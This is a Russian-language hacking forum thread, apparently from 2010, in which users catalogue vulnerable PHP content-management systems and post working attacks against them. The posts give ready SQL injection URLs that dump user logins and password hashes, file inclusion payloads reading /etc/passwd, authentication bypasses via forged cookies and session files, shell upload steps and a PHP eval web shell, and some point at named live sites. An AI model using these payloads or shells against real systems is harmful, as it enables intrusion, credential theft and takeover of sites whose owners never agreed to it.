Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    733
    Likes Received:
    646
    Reputations:
    251
    Grayscale BandSite CMS Ver. 1.1.4

    SQL Injection:

    /members.php?memid=-1+union+select+1,2,user(),version(),database(),6,7+--+
    PHP:
    memid $_REQUEST['memid'];
        
        
    // define the query
        // if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry
        
    if(isset($memid)){
            
    $query "
                SELECT 
                    * 
                FROM 
                    memberbios 
                WHERE 
                    rec_id=
    $memid";
        }
    Passive XSS:

    /reviews.php?filter=<script>alert();</script>
    SQL Injection:

    /reviews.php?filter=-1'+union+select+1,version(),3,4,5,6,database(),8,user(),10,11+--+
    Код:
    PHP:
        $filter $_REQUEST['filter'];
        
        
    // if the $filter variable is set, let's define the query appropriately and display some additional text
        
    if(isset($filter)){
            
    $query "
                SELECT 
                    * 
                FROM 
                    reviews 
                WHERE 
                    type='
    $filter
                ORDER BY 
                    rec_id DESC"
    ;
    Залитие шелла:

    /adminpanel/index.php?action=addphotos
    Выбираем шелл, заливаем.
    Далее >
    /adminpanel/preview.php?cat=prevphotos
    Ищем в сорсах:
    /images/gallery/***
    У меня к примеру:
    /images/gallery/thm_300_wso2pack.jpg.php
    Убираем thm_300_.
    /images/gallery/wso2pack.jpg.php
    Шелленг :)
     
    3 people like this.
  2. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    Travelsized CMS 0.4.1
    Site: http://sourceforge.net/projects/uberghey/

    RFI(rg==on):


    frontpage.php
    PHP:
    include("$setup_folder/i18n/$language/$page_id.inc");
    Эксплуатация:
    ./frontpage.php?setup_folder=data:,<?php phpinfo();?>​


    LFI(mq == off):

    index.php
    PHP:
        $language $_REQUEST['language'];
    if (
    $language == ""$language $default_language;
        
        ...
        
        if (
    $page_id == 0) {
            include (
    "frontpage.php");

    Эксплуатация:
    ./index.php?page_id=0&language=../../../../../../../../etc/passwd%00​
    // Вот здесь, я невижу где уязвимость в коде :)
    Инклудится "frontpage.php", его код выше ^^
    // Это я вижу, но причём тогда здесь language?)
    $language = $_REQUEST['language'];include("$setup_folder/i18n/$language/$page_id.inc"); Может так нагляднее =)
    // Теперь нормально, а так-же пользуясь случаем, передаю привет всем всем всем.
     
    #402 _iks_, 24 Jun 2010
    Last edited: 25 Jun 2010
    3 people like this.
  3. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    IROKEZBLOG
    XSS passive:
    http://localhost/feedback/
    Уязвимые поля:
    Вводим:
    Code:
    "><script>alert();</script>
     
    #403 Bb0y, 25 Jun 2010
    Last edited by a moderator: 12 Jul 2010
  4. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    Zeti CMS 1.0.1
    Download: http://sourceforge.net/projects/zeticms/

    SQL-иньекция(-):

    Уязвимый файл:
    ./viewArticle.php

    Код:
    PHP:
    <?php
    // Require the database class
    require_once('includes/DbConnector.php');

    // Create an object (instance) of the DbConnector
    $connector = new DbConnector();

    // Execute the query to retrieve the selected article
    $result $connector->query('SELECT title,thearticle FROM cmsarticles WHERE ID = '.$HTTP_GET_VARS['id']);

    // Get an array containing the resulting record
    $row $connector->fetchArray($result);

    ?>

    Your selected article: <?php echo $row['title'];?>
    <br><br>
    <?php echo $row['thearticle'];?>
    Эксплуатация:
    ./viewArticle.php?id=-1+union+select+^,^​

    aidiCMS v1.0
    Download: http://code.google.com/p/aidicms/

    LFI(-):

    Уязвимый файл:
    ./style.php

    Код:
    PHP:
    <?
        
    ob_start('ob_gzhandler');
        
    //Style Untuk Global
    ?>
    body {
        font-family:Arial, Helvetica, sans-serif;
        font-size:11px;
        padding: 0px;
        margin:    0px;
    }
    <?
        require_once "themes/".$_GET['filename'];
        header("Content-type: text/css");
        header("Content-Length: ".ob_get_length());
        ob_end_flush();
    ?>
    Эксплуатация:
    http://[host]/style.php?filename=../../../../../../../../../../../etc/passwd​
     
    4 people like this.
  5. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    Cotonti (0.6 - 0.6.8)
    http://www.cotonti.com/downloads/releases/


    File Disclosure
    magic_quotes = Off

    File: rc.php
    PHP:
    $src_uri $_GET['uri'];

    if (!
    file_exists($src_uri)) {
        
    header'HTTP/1.1 404 Not Found' );
        echo( 
    '<html><body><h1>HTTP 404 - Not Found</h1></body></html>' );
        exit; 
    }
    ...
    if (!isset(
    $known_content_types[$file_extension])) {
        
    header'HTTP/1.1 403 Forbidden' );
        echo( 
    '<html><body><h1>HTTP 403 - Forbidden</h1></body></html>' );
        exit;
    }
    ...
    $dst_uri $src_uri;
    ...
    readfile($dst_uri);
    Code:
    http://site/rc.php?uri=datas/config.php%00.js
    Passive XSS

    File: system/common.php
    PHP:
                    if(empty($_COOKIE['sourcekey']))
                    {
                        
    $sys['xk'] = mb_strtoupper(sed_unique(8));
                        
    $update_sid ", user_sid = '{$sys['xk']}'";
                        
    sed_setcookie('sourcekey'$sys['xk'], time()+$cfg['cookielifetime'], $cfg['cookiepath'],
                            
    $cfg['cookiedomain'], $sys['secure'], true);
                    }
                    else
                    {
                        
    $sys['xk'] = $_COOKIE['sourcekey'];
                        
    $update_sid '';
                    }
    File: system/functions.php
    PHP:
    function sed_xp()
    {
        global 
    $sys;
        return 
    '<div style="display:inline;margin:0;padding:0"><input type="hidden" name="x" value="'.$sys['xk'].'" /></div>';
    }
    Code:
    COOKIE
    sourcekey = "><strike>123
     
    #405 BlackFan, 1 Jul 2010
    Last edited: 1 Jul 2010
    3 people like this.
  6. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    T16CMS v1.0
    Download: http://code.google.com/p/t16cms/

    SQL-иньекция{обход авторизации}(mq==off):

    Уязвимый файл:
    ./t16cms/php/user.php

    Код:
    PHP:
    function get_reg ($inp="") {
    global 
    $dbhost,$dbname,$dbuser,$dbpasswd,$dbprefix;
    echo 
    $inp;
    if (
    $inp==""){


    if (@isset(
    $_GET['authkey'])){
    $_authkey=$_GET['authkey'];
    if (
    $_authkey!=""){
    $sql 'SELECT * FROM `_users` WHERE `authkey` = '."'".$_authkey."'".' LIMIT 1';
    echo 
    $sql;
    mysql_connect($dbhost$dbuser$dbpasswd);
    mysql_query('SET NAMES cp1251');
    $i=1;
    $result=mysql_db_query($dbname$sql);
    while(
    $row=mysql_fetch_array($result)) {
      if (
    get_right($row['access']['access'],1)){
      global 
    $site_user;
      
    $site_user=$row;
      
    $i=$i+1;
      }else{echo 
    "Вы видимо не активированный";}//уголь
    };
    mysql_free_result($result);
    }}


    }else {
    ...

    LFI(авторизация):

    Уязвимый файл:
    ./t16cms/cp/index.php

    Код:
    PHP:
    if (isset($_GET['module'])){
    $default=$_GET['module'];
    ...
    $default="modules/".$default;
    ...
    if (
    get_reg()==1) {//авторизация, код выше
    ...
    include 
    $default;

    Эксплуатация(обе):

    ./t16cms/cp/index.php?authkey=1'+or+1=1--+&module=../../../../etc/passwd​

    InvisCMS v0.15
    Download: http://code.google.com/p/inviscms/

    LFI(mq==off):


    Уязвимый файл:
    ./dx.php

    Код:
    PHP:
    ...
    switch (
    $_GET['x'):
    ...
    case 
    '0x21':
                
    $d=false;
                
    #die_r($_GET);
                
    if(isset($_GET['frm_name']) && $_GET['frm_name']!='' && isset($_GET['result']) && $_GET['result']!='')
                {
                    
    $brain=$GLOBALS['path_to_site'].'/lib/core/others/forms/'.$_GET['frm_name'].'.inc';
                    
                    if(
    file_exists($brain))
                    {
                        @include(
    $brain);
                        
    #die(stripslashes($_GET['result']));
                        
    $data=$jsondecoder->decode(stripslashes($_GET['result']));
                        
    $d=call_user_func($_GET['frm_name'].'_main',$data[0]);
                    }else{
                        
    $d=false;
                    }
                }
                print 
    $jsonencoder->encode($d);
                break;
    Эксплуатация:
    ./dx.php?x=33&frm_name=../../../../../../apache/log%00&result=33серебреника​
     
    4 people like this.
  7. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    varioCMS v0.5.6.1
    Download: http://sourceforge.net/projects/variocms/

    LFI(mq==on):

    Уязвимый файл:
    ./plugins/audience/contact/contact.php

    Код:

    PHP:
    <?php

    $contact 
    "";

    // config
    error_reporting(E_ALL);
    setlocale(LC_ALL$language);

    // language template
    include 'plugins/audience/contact/lang/' $language '.php';
    Эксплуатация:
    ?language=blablabla*/../../../../../../../../../../../etc/passwd%00​
    *аргумент функции setlocale() не должен начинаться с точки, слеша и.т.д

    UPD:

    xCms V1.14
    Download: http://code.google.com/p/spacedaily/downloads/detail?name=xCmsVer1.14.rar&can=2&q=

    LFI(mq==off):

    Уязвимый файл:
    ./tobbs.php

    Код:
    PHP:
    <?php
    $lid 
    intval($_GET['lid']);
    $lid or exit('ОґЦё¶ЁМбИЎ·ЦАаLID');

    $tid intval($_GET['tid']);
    $tid or exit('ОґЦё¶ЁМбИЎ·ЦАаLID');

    if(!@include(
    "./data/get/tobbs_".$_GET['bbsname'].".php")) exit('І»ґжФЪёГВЫМіМбИЎЕдЦГ');

    if(!
    $_GET['txt'] && !$ptobbs['subject']) exit('ОґЦё¶ЁОДЧЦµчУГ·Ѕ°ёГы»т±кМвЧЦ¶О');
    Эксплуатация:
    ./tobbs.php?lid=5&tid=6&bbsname=../../../../../../../../etc/passwd%00​
     
    #407 _iks_, 2 Jul 2010
    Last edited: 2 Jul 2010
    2 people like this.
  8. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    358
    Likes Received:
    313
    Reputations:
    163
    Product: ViCMS
    Version: 0.0.1
    Download: www.sourceforge.net/projects/cmscolvi/

    Authorization bypass
    Need: шелл на соседнем сайте; доступ на запись в /tmp
    file: admin.php
    PHP:
    session_start();
    if(!isset(
    $_SESSION['logged_in'])){
        
    header('Location: ./login.php');
        exit;
    }
    if(
    $_SESSION['logged_in'] != 'bormental'){
        
    header('Location: ./login.php');
        exit;

    result:
    1. Создаём сессию
    Имя: sess_8bf6d5e1d9eec3a8436704f883068ebf
    Содержание: logged_in|s:9:"bormental";
    2. Сохраняем в /tmp
    3. В куки пишем: PHPSESSID=8bf6d5e1d9eec3a8436704f883068ebf
    4. Заходим http://[host]/admin.php
     
    #408 .:[melkiy]:., 5 Jul 2010
    Last edited: 5 Jul 2010
    1 person likes this.
  9. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    358
    Likes Received:
    313
    Reputations:
    163
    Product: K:CMS
    Version: 2.1.1
    Download: www.kcms.cz

    LFI
    Need: mq=off
    file: install.php (!!!)
    PHP:
    if (isset($_GET["lang"])) {
    include 
    "languages/".$_GET["lang"].".php";
    }
    result:
    Code:
    /install.php?lang=../../../[local_file]%00

    LFI
    Need: mq=off, admin account
    PHP:
    if (isset($_GET["function"])) {
    include 
    "components/pages_admin/".$_GET["function"].".php";
    result:
    Code:
    /admin.php?function=../../../[local_file]%00

    SQL-Injection
    Need: mq=off
    PHP:
    $item=$this->db->query("SELECT id, login, rights, mail, regdate, lastvisit, realname, age, jabber, skype, msn, about, sign, icq, avatar FROM ".TABLE_USERS." WHERE login='".htmlspecialchars($_GET["profile"])."'");
    $item=$this->db->fetch_array($item);
    result:
    Code:
    /index.php?profile=-qwerty'+union+select+1,concat_ws(0x3a,id,login,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+kcms_users+--+

    Upload ShellCode
    Need: admin account
    Заходим admin.php?function=files . Выбираем шелл, загружаем. Шелл будет доступен по адресу files/shell.php .
    Никаких проверок на расширение
     
    4 people like this.
  10. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20

    AMXBANS 6.0.0
    ======Вход под администратором:
    /include/access.inc.php
    PHP:
    if(isset($_COOKIE[$config->cookie]) && $_SESSION["loggedin"]==false) {
            
    $cook explode(":"$_COOKIE[$config->cookie]);
        
            
    $sid $cook[0];
            if(!
    $_SESSION["lang"]) $_SESSION["lang"]=$cook[1];
        
            
    $mysql mysql_connect($config->db_host,$config->db_user,$config->db_pass) or die (mysql_error());
            
    $resource mysql_select_db($config->db_db) or die (mysql_error());

            
    $query mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error());
            if(
    mysql_num_rows($query)) {
                while(
    $result mysql_fetch_object($query)) {
                    
    $_SESSION["uid"]=$result->id;
                    
    $_SESSION["uname"]=$result->username;
                    
    $_SESSION["email"]=$result->email;
                    
    $_SESSION["level"]=$result->level;
                    
    $_SESSION["sid"]=session_id();
                    
    $_SESSION["loggedin"]=true;
                }
    Экспл:
    Code:
    В куки добавляем: ' or id=1 -- :123
    
    =====Любой юзер может сделать unban
    /ban_list.php
    PHP:
    if(isset($_POST["del_ban_x"]) && isset($_POST["bid"])) {
        
    //get all uploaded files for the ban and delete it
        
    $query mysql_query("SELECT `id`,`demo_file` FROM `".$config->db_prefix."_files` WHERE `bid`=".$bid) or die (mysql_error());
        while(
    $result mysql_fetch_object($query)) {
            if(
    file_exists("include/files/".$result->demo_file)) {
                
    //delete the file(s)
                
    if(file_exists("include/files/".$result->demo_file."_thumb")) {
                    
    unlink("include/files/".$result->demo_file."_thumb");
                }
                if(
    unlink("include/files/".$result->demo_file)) {
                    
    //if file deleted, remove db entry
                    
    $query2 mysql_query("DELETE FROM `".$config->db_prefix."_files` WHERE `id`=".$result->id." LIMIT 1") or die (mysql_error());
                }
            }
        }
        
    //delete all comments for the ban
        
    $query mysql_query("DELETE FROM `".$config->db_prefix."_comments` WHERE `bid`=".$bid) or die (mysql_error());
        
    //get ban details
        
    $ban_row=sql_get_ban_details($bid);
        
    //delete the ban
        
    $query mysql_query("DELETE FROM `".$config->db_prefix."_bans` WHERE `bid`=".$bid." LIMIT 1") or die (mysql_error());
        
    log_to_db("Ban edit","Deleted ban: ID ".$bid." (<".sql_safe($ban_row["player_nick"])."> <".sql_safe($ban_row["player_id"]).">)");
        
    //redirect to start page
        
    if($query) { header("Location:index.php"); exit; }
    }
    Экспл:
    Code:
    $id = "id user";
    $pat = "http://site.ru";
    echo <<<HTML
    <div class="center">
    <form action="$pat/ban_list.php" method="POST">
    <input type="hidden" name="site" value="1" />
    <input type="hidden" name="bid" value="$id" />
    <input type="hidden" name="details_x" value="1" />
    <input type="submit" name="del_ban" value="Удалить" />
    </form>
    </div>
    HTML;
    
     
    3 people like this.
  11. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    260
    Likes Received:
    443
    Reputations:
    255
    BigStreet alpha RC1
    (07.10.2010)



    BigStreet CMS — система для создания сообществ.

    Искать в гугле по запросу
    Code:
    Powered by BigStreet
    XSS

    Передаём в GET
    PHP:
    http://site/system/tools/yaca.parser.php?url=1<script>alert(1)</script>.
    Сайт автора:
    Недостаточная фильтрация входящих данных.
    PHP:
        <input type="text" name="url" value="<?php if(isset($_GET['url'])) echo $_GET['url']; ?>" style="width: 500px">
        $text = file_get_contents($first_url);
        $text = iconv('windows-1251', 'utf-8', $text);
        preg_match_all("/<a target=\"_self\" href=\"(.*)\">\d+<\/a>/isU", $text, $matches);
        $text = file_get_contents($url);
        $text = iconv('windows-1251', 'utf-8', $text);
        preg_match_all("/<span style=\"color: rgb\(0, 102, 0\);\">([\d\w\.\-]*)<\/span>/isU", $text, $matches);

    XSS passive:

    При вводе логина пароля

    Страница http://site/feedback/
    Уязвимо поле: Спросите, пожелайте, возмутитесь
    Отправляем пост запрос с таким содержимым
    </textarea><script>alert()</script>
     
    #411 emillord, 16 Jul 2010
    Last edited: 16 Jul 2010
    3 people like this.
  12. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    4images 1.7.7
    Раскрытие путей:
    /categories.php?cat_id=2&page=-2

    Code:
    [SIZE=1]Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [/SIZE]/var/www/site/includes/db_mysql.php [SIZE=1]on line 116[/SIZE]
     
    _________________________
    #412 Дирижабль, 8 Aug 2010
    Last edited: 8 Aug 2010
    1 person likes this.
  13. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    moziloCMS 1.0 - 1.1
    XSS
    /galerie.php

    PHP:
    else {
                       
    $allindexes = array();
            for(
    $i=1;$i<=count($mypics);$i++) 
                
    array_push($allindexes$i);
            if ((!isset(
    $_GET['index'])) || (!in_array($_GET['index'], $allindexes)))
                
    $index 1;
            else
                
    $index $_GET['index'];
    Result:

    1.12.Beta 3 (Последняя версия)

    XSS
    Оф Сайт:

     
    _________________________
    1 person likes this.
  14. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    1stTop100 <=1.9V

    ->edit.php
    PHP:
    if($_POST["submit"] AND !$_GET["edit"]){
    $pass md5($_POST["pass"]);

    $query mysql_query("SELECT * FROM top_$table WHERE memberid = '".$_POST["id"]."' AND password = '$pass'") or die("Невозможно подключиться к mysql");
    $result mysql_num_rows($query);
    ...
    ...
    ...
    Expl:
    Code:
    POST
    memberid=1' --
    
    ->out.php

    PHP:
    $query mysql_query("SELECT * FROM top_$table WHERE memberid = '$id'") or die ("Невозможно подключиться к MySQL");

    $date date("dmY");

    while(
    $object mysql_fetch_object($query)){

    $today $object->hitstoday;
    $today explode(" | ",$today);
    ...
    ...
    ...
    При register_globals = ON и magic_quotes_gpc = OFF
    Expl:
    Code:
    $_GET['id'] = 1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
    
     
    2 people like this.
  15. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    WAP ENGINE 5.0
    _http://wap-engine.ru/

    Reverse-IP:
    Нужен шелл на соседнем сайте.
    ->templates/run.php
    PHP:
    if(isset($_SESSION['login']))
     {
      if(
    strstr($_SERVER['SCRIPT_NAME'], 'modules'))
       {
        
    $user_data_file "../../data/users/$_SESSION[login].php";
        
    $user_f = @file("$user_data_file");
       }
        else
       {
        
    $user_data_file "data/users/$_SESSION[login].php";
        
    $user_f = @file("$user_data_file");
        
       }
      
      
    $login trim($user_f[2]);
      
    $email trim($user_f[3]);
      
    $passw trim($user_f[4]);
    ...
    ...
    ...
    ->Получение админских прав.
    Expl:
    Заливаем в /tmp .php файл, с таким содержанием и называем его oleg
    Code:
    <?php
    /*
    Olega
    tet@mail.rusa
    fb469d7ef430b0baf0cab6c436e70375
    16.08.2010 / 01:45:31
    16.08.2010 / 03:19:45
    
    http://
    
    1
    5
    
    
    0
    0
    1
    01-01-2001
    0
    0
    0
    0
    0
    0
    0
    1
    0
    0
    0
    
    0
    0
    0
    0
    0
    0
    */
    ?>
    
    Далее создаём файл сессии в той же папки
    Code:
    traf|i:140459;rand|s:4:"6523";login|s:16:"../../../../oleg";pass|s:32:"fb469d7ef430b0baf0cab6c436e70375";
    
    ЗЫ:Не забываем выставлять права.
    ->Заливаем шелл
    В админ панели заходим в редактор страниц-> Вставляем следующий код
    PHP:
    <?php
    eval(stripslashes($_REQUEST['c'])); ?>
     
    #415 SeNaP, 16 Aug 2010
    Last edited: 16 Aug 2010
    2 people like this.
  16. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    MODx Evolution CMS
    Version 1.0.1 (скачать: http://modxcms.com/download/rc/MODx-1.0.1-rc-1.tar.gz )

    XSS (нужны права админа)

    \manager\includes\accesscontrol.inc.php
    PHP:
    $itemid = isset($_REQUEST['id']) ? $_REQUEST['id'] : '';
        
    $lasthittime time();
        
    $action = isset($_REQUEST['a']) ? $_REQUEST['a'] : '1';

        if(
    $action != '1') {
            if (!
    intval($itemid)) $itemidnull;
            
    $sql sprintf('REPLACE INTO %s (internalKey, username, lasthit, action, id, ip)
                VALUES (%d, \'%s\', \'%d\', \'%s\', %s, \'%s\')'
    ,
                
    $modx->getFullTableName('active_users'), // Table
                
    $modx->getLoginUserID(),
                
    $_SESSION['mgrShortname'],
                
    $lasthittime,
                (string)
    $action,
                
    var_export($itemidtrue),
                
    $ip
    Result:
    http://localhost/modx-1.0.1-rc-1/manager/index.php?a=2'><script>alert(010101)</script ByPass>

    +

    XSS на Оф Сайте:

    http://modxcms.com/searchresults.html

    Вписываем:
    "><script>alert(document.cookie)</script>​
     
    _________________________
    #416 Дирижабль, 17 Aug 2010
    Last edited: 17 Aug 2010
    1 person likes this.
  17. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    AMX BANS 6.0.0 <= 6.0.1
    Продолжение поста:
    https://forum.antichat.ru/showpost.php?p=2248169&postcount=416
    Заливаем шелл.

    в куки
    Code:
    amxbans:' union select 1,0x27,1,4 -- :1233
    
    ->accsess.php.inc
    PHP:
    $query mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error());
            if(
    mysql_num_rows($query)) {
                while(
    $result mysql_fetch_object($query)) {
    $_SESSION["uid"]=$result->id;
    $_SESSION["uname"]=$result->username;
    $_SESSION["email"]=$result->email;
    $_SESSION["level"]=$result->level;
    $_SESSION["sid"]=session_id();
    $_SESSION["loggedin"]=true;
    }
    ->modul_iexport.php
    PHP:
    if($reason=="" || $plnick=="" || $server=="" || $date=="" || sizeof($date)!=3) {
    $user_msg="_NOREQUIREDFIELDS";
    } else {
    $date=(int)strtotime($date[2].$date[1].$date[0]);
    $file=mysql_real_escape_string($_FILES['filename']['name']);
    $types=array("cfg","txt");
            
    if(
    $file=="") {
    $user_msg="_FILENOFILE";
    } else {
    $file_type=substr(strrchr($file'.'),1); 
    if(!
    in_array($file_type,$types)) $user_msg="_FILETYPENOTALLOWED";
    }
    if(
    $_FILES['filename']['size'] >= ($config->max_file_size*1024*1024)) $user_msg="_FILETOBIG";
    if(!
    $user_msg) {
    if(!
    move_uploaded_file($_FILES['filename']['tmp_name'], "temp/".$file)) {
    $user_msg="_FILEUPLOADFAIL";
    } else {
    $handle fopen("temp/".$file,"r");
    $status["imported"]=0;
    $status["failed"]=0;
    while (!
    feof($handle))
    {
    $n fgets($handle,128);
    $bans=explode(" ",$n);
    $time=(int)trim($bans[1]);
    //amxbans 5.x hack, exported banned.cfg with reason
    $reason_real="";
    if(
    $bans[4] != "") {
    for(
    $i=4;$i<=sizeof($bans);$i++) {
    $reason_real.=mysql_real_escape_string($bans[$i])." ";
    }
    } else {
    $reason_real=$reason;
    }
    trim($reason_real);
    $steamid=mysql_real_escape_string(trim($bans[2]));
    if(
    trim($bans[0])=="" || trim($bans[0])=="//") continue;
    if(
    $time!=0) {$status["failed"]++;;continue;}
    if(
    trim($bans[0])=="banid") {
    //ban with steamid
    if(!preg_match("/^STEAM_0:(0|1):[0-9]{1,18}/",$steamid)) { $status["failed"]++; continue;}
    //search for a already existing permanent ban
    $query mysql_query("SELECT `player_id` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error());
    if(
    mysql_num_rows($query)) {$status["failed"]++; continue;}
    //write ban to db
    $status["imported"]++;
    $query mysql_query("INSERT INTO `".$config->db_prefix."_bans` 
    (`player_id`,`player_nick`,`admin_nick`,`ban_type`,`ban_reason`,`ban_created`,`ban_length`,`server_name`,`imported`) VALUES 
    ('"
    .$steamid."','".$plnick."','".$_SESSION["uname"]."','S','".$reason_real."',".$date.",".$time.",'".$server."',1)") or die (mysql_error());
    }else if(
    trim($bans[0])=="banip") {
    //ban with ip
    if(!preg_match("/^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$/",$steamid)) { $status["failed"]++; continue;}
    //search for a already existing permanent ban
    $query mysql_query("SELECT `player_ip` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error());
    if(
    mysql_num_rows($query)) {$status["failed"]++; continue;}
    //write ban to db
    $status["imported"]++;
    $query mysql_query("INSERT INTO `".$config->db_prefix."_bans`(`player_ip`,`player_nick`,`admin_nick`,`ban_type`,`ban_reason`,`ban_created`,`ban_length`,`server_name`,`imported`) 
    VALUES 
    ('"
    .$steamid."','".$plnick."','".$_SESSION["uname"]."','SI','".$reason_real."',".$date.",".$time.",'".$server."',1)") or die (mysql_error());
    } else { 
    $status["failed"]++; continue;}
    }
    fclose($handle);
    //del temp file
                    
    unlink("temp/".$file);
    Импортируем список банов "bans.php.cfg" с таким содержанием:
    Code:
    banid 0 STEAM_0:1:1234567891011121314151617
    <?php
    eval(stripslashes($_REQUEST['c']));
    ?>
    
    Чтобы после импорта наш шелл не удалился, нам пришлось добавить в куки " ' "(ковычку).
    В итоге в modul_iexport.php при загрузки файла, скрипт завершает работу с ошибкой.
    Шелл будет доступен по адресу:
    http://[path]/temp/bans.php.cfg
     
    4 people like this.
  18. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    cms.libe.net => 0.5 - 0.91
    Скачать: http://cms.libe.net/themen/DOWNLOAD.php


    Пассив XSS
    /template/cmslibenet/_suche.php

    PHP:
    <center><small>Stichwortsuche auf dieser Seite:</small><br>
    <form name="data" action="<?php echo $HTTP_SERVER_VARS['PHP_SELF'];?>" method="post" style="display:inline"><input type="text" name="Suchbegriff" value="" size="13"><INPUT TYPE="submit" name="suche" VALUE="suche"></form></center>
    .....
    $Suchbegriff=$HTTP_POST_VARS['Suchbegriff'];
    if (!empty($Suchbegriff)){
    echo "<div id=\"layer1\" style=\"position:absolute; left:200px; top:100px; width:600; height:100%px; z-index:2;filter:alpha(opacity=", $transparent, "); -moz-opacity: 0.", $transparent, ";\"><table width=600 cellspacing=", $cellspacing, " class=\"menu2\"><tr><td bgcolor=\"ffffff\">
    <div align=\"right\"><a href=\"", $HTTP_SERVER_VARS['PHP_SELF'], "\" class=\"links2\" title=\"Fenster schliessen\">X</a></div>";
    пример на оф сайте:
    http://cms.libe.net/template/cmslibenet/_suche.php
    PHP:
    "><script>alert(112233)</script ByPass>
    путь: http://cms.libe.net/template/cmslibenet/_feedback.php
     
    _________________________
    #418 Дирижабль, 21 Aug 2010
    Last edited: 21 Aug 2010
    1 person likes this.
  19. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    В интернете CMS не нашел.

    Aphyna CMS


    Code:
    http://[host]/[path]/index.php?sec=katalog&[some text]page=%27+and+0+union+select+1,2,3,4,5,6,7,8,9,10%23
    10 атрибут.


    Code:
    http://[hos]/[path]/index.php?sec=katalog&page=[some text]%27+and+0+union+select+1,2,3,4,5,6,7,8,9,GROUP_CONCAT%28concat_ws%28%27:%27,login,password%29%20separator%20%20%27@%27%29+FROM+users%23
    http://[host]/[path]/admin

    внутри:
    http://[host]/[path]/admin/site_info.php

    в левое поле пишем наш php код.
     
    #419 Strilo4ka, 30 Aug 2010
    Last edited: 30 Aug 2010
    1 person likes this.
  20. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Fashione E-Commerce Webshop

    скачать

    в поиске
    http://www.mccabeshoes.com/index.php?page_id=search

    вбиваем в поле поиска
    Code:
    <script>alert('xss')</script>
     
    #420 547, 21 Sep 2010
    Last edited: 21 Sep 2010
    3 people like this.
Loading...